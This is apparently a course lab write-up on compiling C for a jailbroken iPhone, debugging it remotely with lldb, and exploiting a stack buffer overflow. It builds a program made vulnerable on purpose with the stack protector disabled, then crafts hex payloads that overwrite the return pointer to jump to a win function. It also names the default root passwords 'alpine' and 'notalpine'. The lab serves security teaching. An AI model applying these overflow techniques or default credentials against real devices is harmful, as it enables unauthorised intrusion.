ED 421: Buffer Overflow on an iPhone (20 pts)

What You Need

Purpose

To learn how to compile C code, run it on an iPhone, debug it, and exploit a simple buffer overflow.

Installing XCode

On your Mac, open App Store. Install XCode, as shown below. When I did it, I was forced to upgrade OS X first, which took an hour or two.

Launching XCode

To fully install XCode, you need to launch it once. In Applications, launch XCode.

Connecting your iPhone

As you did previously, connect your iPhone via a USB cable.

Managing Windows

This project will use foud Terminal windows. Open them all now and arrange them as shown below.
1 to run local programs on the Mac
2 to run programs on the iPhone via SSH
3: iproxy 2222 44 to connect SSH on the iPhone to the Mac
4: iproxy 1234 1234 to connect the debugserver on the iPhone to the Mac

Preparing Window 3

In Terminal window 3, execute this command:

iproxy 2222 44
Leave that program running.

Preparing Window 4

In Terminal window 4, execute this command:

iproxy 1234 1234
Leave that program running.

Preparing Window 2

In Terminal window 2, execute this command:

ssh -p 2222 root@localhost
Enter your iPhone password when you are prompted to.

Leave that session connected.

Making a "Hello" Program in C

To compile our C program, we need three files: In Terminal window 1, execute these commands.

They make a working folder, configure Xcode, and create the hello.c file.


cd
mkdir YOURNAME
cd YOURNAME
mkdir hello
cd hello
sudo xcode-select -switch /Applications/Xcode.app
nano hello.c
Enter this code:

#include <stdio.h>

int main(){
printf("HELLO\n");
}
Save the file with Ctrl+X, Y, Enter.

Making the Plist File

In Terminal window 1, execute this command.

nano tfp0.plist
Enter this code:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>get-task-allow</key>
    <true/>
    <key>run-unsigned-code</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
</dict>
</plist>
Save the file with Ctrl+X, Y, Enter.

Making the Makefile

In Terminal window 1, execute this command.

nano Makefile
Enter this code:

all:
    xcrun -sdk iphoneos clang hello.c -arch arm64 -Wall -miphoneos-version-min=10.0 -o hello
    ldid -Stfp0.plist hello
    scp -P 2222 hello root@localhost:~/ 
Save the file with Ctrl+X, Y, Enter.

Compiling the Code

In Terminal window 1, execute this command.

make
When it asks for your iPhone's password, enter it. It is probably alpine or notalpine.

The "hello" executable builds and is sent to the iPhone, as shown below.

Moving the Program

In Terminal window 2, execute these commands.

They show that the "hello" program, is on the iPhone, move it to a directory that allows code execution, and run it.

ls
mkdir /bin/progs
cp hello /bin/progs
/bin/progs/hello
The program runs, printing out "HELLO", as shown below.

Creating a Vulnerable Program

For this program, we need these three files: In Terminal window 1, execute these commands.

They make a working folder and create the buf.c file.


cd
cd YOURNAME
mkdir buf
cd buf
curl https://samsclass.info/127/proj/ED421.c > buf.c

This program reads hexadecimal data from the file /tmp/bufin and copies it into a small buffer, causing a stack buffer overflow.

Making the Plist File

In Terminal window 1, execute this command.

nano tfp0.plist
Enter this code:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>get-task-allow</key>
    <true/>
    <key>run-unsigned-code</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
</dict>
</plist>
Save the file with Ctrl+X, Y, Enter.

Making the Makefile

In Terminal window 1, execute this command.

nano Makefile
Enter this code. Note the "-fno-stack-protector" option, which makes the program vulnerable to a stack buffer overflow exploit.

all:
    xcrun -sdk iphoneos clang buf.c -arch arm64 -Wall -fno-stack-protector -miphoneos-version-min=10.0 -o buf
    ldid -Stfp0.plist buf
    scp -P 2222 buf root@localhost:~/ 
Save the file with Ctrl+X, Y, Enter.

Compiling the Code

In Terminal window 1, execute this command.

make
When it asks for your iPhone's password, enter it. It is probably alpine or notalpine.

The program builds and is sent to the iPhone, as shown below.

Running the Program

In Terminal window 2, execute these commands to launch it.
ls
mv buf /bin/progs
rm /tmp/bufin
/bin/progs/buf &
The program launches in the background, printing out several addresses, as shown below.

Press Enter to get a $ prompt, and execute this command:

echo 4141414142424242 > /tmp/bufin
The program runs, printing out "All done!", as shown below.

Press Enter to get a $ prompt.

Observing a Buffer Overflow

In Terminal window 2, execute these commands:
rm /tmp/bufin
/bin/progs/buf &
Press Enter to get a $ prompt, and execute this commands:
echo 41414141424242424343434344444444454545454646464647474747 > /tmp/bufin
The program crashes, with a "Bus error: 10" message, as shown below.

Press Enter to get a $ prompt.

Finding your iOS Version

On your iPhone, open Settings, General, About.

Find your iPhone version. On my phone, it was 12.4.4, as shown below.

Getting debugserver

To debug applications, we need this utliity, which comes from Apple.

In Terminal window 1, execute this command.


ls /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/
A list of version numbers appears, as shown below.

In Terminal window 1, execute this command, adjusting the version number to match the iOS version on your iPhone:


hdiutil attach  /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/12.4/DeveloperDiskImage.dmg
This mounts the volume. A Finder window opens showing the contents. Close it.

In Terminal window 1, execute these commands, to go to your working directory and copy "debugserver" there:


cd
cd YOURNAME/buf
cp /Volumes/DeveloperDiskImage/usr/bin/debugserver ./
file debugserver
Debugserver is a "Mach-O universal binary", as shown below.

In Terminal window 1, execute this command to unmount the developer disk image:


hdiutil detach /Volumes/DeveloperDiskImage/

Signing debugserver

The code won't run unless it's signed. To do that we'll need a plist file.

In Terminal window 1, execute this command:


nano entitlements.plist
Enter this code:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"> 
  <dict> 
    <key>com.apple.springboard.debugapplications</key> 
    <true/> 
    <key>run-unsigned-code</key> 
    <true/> 
    <key>get-task-allow</key> 
    <true/> 
    <key>task_for_pid-allow</key> 
    <true/> 
  </dict> 
</plist>
Save the file with Ctrl+X, Y, Enter.

In Terminal window 1, execute this command to sign the program:


codesign -s - --entitlements entitlements.plist -f debugserver
A message appears, saying "replacing existing signature", as shown below.

Moving debugserver to your iPhone

In Terminal window 1, execute this command:

scp -P 2222 debugserver root@localhost:~
Enter your iPhone password when you are prompted to.

The file is transferred, as shown below.

Debugging the Program

In Terminal window 2, execute these commands.
ls
mv debugserver /bin/progs
rm /tmp/bufin
/bin/progs/debugserver localhost:1234 /bin/progs/buf &
The debugger begins listening on port 1234, as shown below.

Remote Debugging

In Terminal window 1, execute these commands, one at a time:
lldb
platform select remote-ios
process connect connect://localhost:1234
The debugger connects to the iPhone and stops at the beginning of the program, as shown below.

In Terminal window 1, at the (lldb) prompt, execute this command:

disassemble -bn main
The assembly code for "main" appears, as shown in the figure below.

For comparison, here is the C code for the "main" function:

int main() {
    if (test_pw() == 0) { win(); }
    printf("All done!\n");
}
Notice that this ARM64 code has 32 bits per instruction, just like the ARM code we saw on the Raspberry Pi 3.

Notice the instruction after the call to the test_pw function, outlined in green in the image below. This is the return pointer and it will be important to know for the exploit.

On my iPhone, the return pointer was 0x100e13d98 -- on your iPhone, the value will be different.

Disassembling test_pw

In Terminal window 1, at the (lldb) prompt, execute this command:
disassemble -bn test_pw
The assembly code for "test_pw" appears, as shown in the figures below.

For comparison, here is the C code for the "test_pw" function:

int test_pw() {
    char password[10];
    int i;
    
    printf("Stack: Password at: %p\n", password);
    printf("Text: test_pw at: %p\n", test_pw);
    printf("Text: win at: %p\n", win);
    printf("Global: raw at: %p\n", raw);
    fflush(stdout);

    readhex();

    for (i=0; i<len; i++) {
        password[i] = raw[i]; }

    return(1);
}
The buffer overflow happens just before the "return(1)" command, so placing a breakpoint at test_pw + 256 should work to see the stack after the overflow, as shown below.

... skipping many lines of code ...

Using a Breakpoint

In Terminal window 1, at the (lldb) prompt, execute this command:
breakpoint set -a `(void())test_pw`+256
The breakpoint is set, as shown below.

Continuing Execution

In Terminal window 1, at the (lldb) prompt, execute this command:
continue
The program runs, and pauses, waiting for input data, as shown below.

Providing Input Data

In Terminal window 2, press Enter to get a $ prompt, and then execute this command:
echo 4141414142424242 > /tmp/bufin

Observing the Stack

In Terminal window 1, the program proceeds to the test_pw + 256 instruction, as shown below.

At the (lldb) prompt, execute this command:

x/50x $sp
The stack frame appears, as shown below.

Notice these items:

Exiting the Debugger

In Terminal window 1, at the (lldb) prompt, execute these commands, one at a time:
quit
y

Debugging with a Buffer Overflow

In Terminal window 2, press Enter to get a $ prompt. Then execute these commands.
rm /tmp/bufin
/bin/progs/debugserver localhost:1234 /bin/progs/buf &
The debugger begins listening on port 1234, as shown below.

Remote Debugging

In Terminal window 1, execute these commands, one at a time:
lldb
platform select remote-ios
process connect connect://localhost:1234
breakpoint set -a `(void())test_pw`+256
continue
The program runs, and pauses, waiting for input data, as shown below.

Providing Input Data

In Terminal window 2, press Enter to get a $ prompt, and then execute this command:
echo 41414141424242424343434344444444454545454646464647474747 > /tmp/bufin

Observing the Stack

In Terminal window 1, the program proceeds to the test_pw + 256 instruction.

At the (lldb) prompt, execute these commands:

x/50x $sp
continue
The stack frame appears, and the program stops at address=0x47464646464545, as shown below.

At the (lldb) prompt, execute this command:

register read
As shown below, the pc now contains that address, which is under our control.

Exiting the Debugger

In Terminal window 1, at the (lldb) prompt, execute these commands, one at a time:
quit
y

Planning an Exploit

To hit the win function, we need this prefix:
414141414242424243434343444444444545
Followed by the win address, in littie-endian order.

Running the Exploit in the Debugger

In Terminal window 2, press Enter to get a $ prompt. Then execute these commands.
rm /tmp/bufin
/bin/progs/debugserver localhost:1234 /bin/progs/buf &
The debugger begins listening on port 1234, as shown below.

Remote Debugging

In Terminal window 1, execute these commands, one at a time:
lldb
platform select remote-ios
process connect connect://localhost:1234
breakpoint set -a `(void())test_pw`+256
continue
The program runs, and pauses, waiting for input data, as shown below.

Note the win address, outlined in green in the image below. When I did it, the address was 0x100fc3968 -- your address will be different.

Providing Input Data

We need to insert the win address in little-endian order, so my address:
0x100fc3968
becomes this, extended with zeroes to make the full 64-bit address:
6839fc0001000000
In Terminal window 2, press Enter to get a $ prompt, and then execute this command, using the correct win address for your system:
echo 4141414142424242434343434444444445456839fc0001000000 > /tmp/bufin
(The image below came from a later repeat of the project, so it used a different win address.)

Flag ED421.1: Winning (20 pts)

In Terminal window 1, the program proceeds to the test_pw + 256 instruction.

At the (lldb) prompt, execute these commands:

x/50x $sp
continue
register read
You see the "You win!" message, as shown below.

When you read the registers, you get an error, because our sloppy exploit didn't correctly replace the frame pointer, leading to a later crash.

The flag is covered by a green rectangle in the image below.

References

Many thanks to axi0mx for making the checkra1n jailbreak possible and showing me how to compile C code for the iPhone and debug it.

idb: iOS App Security Assessment Tool
Basic iOS Apps Security Testing lab — 1
iOS Application Security Part 47 — Inspecting Apps with Frida
frida-workaround-ios12
Failed to attach - iOS 12.0.1 #792
ios-command-line-tool
The missing guide to debug third party apps on iOS 12
iOS Application Security Part 41 – Debugging applications using LLDB
lldb Tutorial


Posted 12-18-19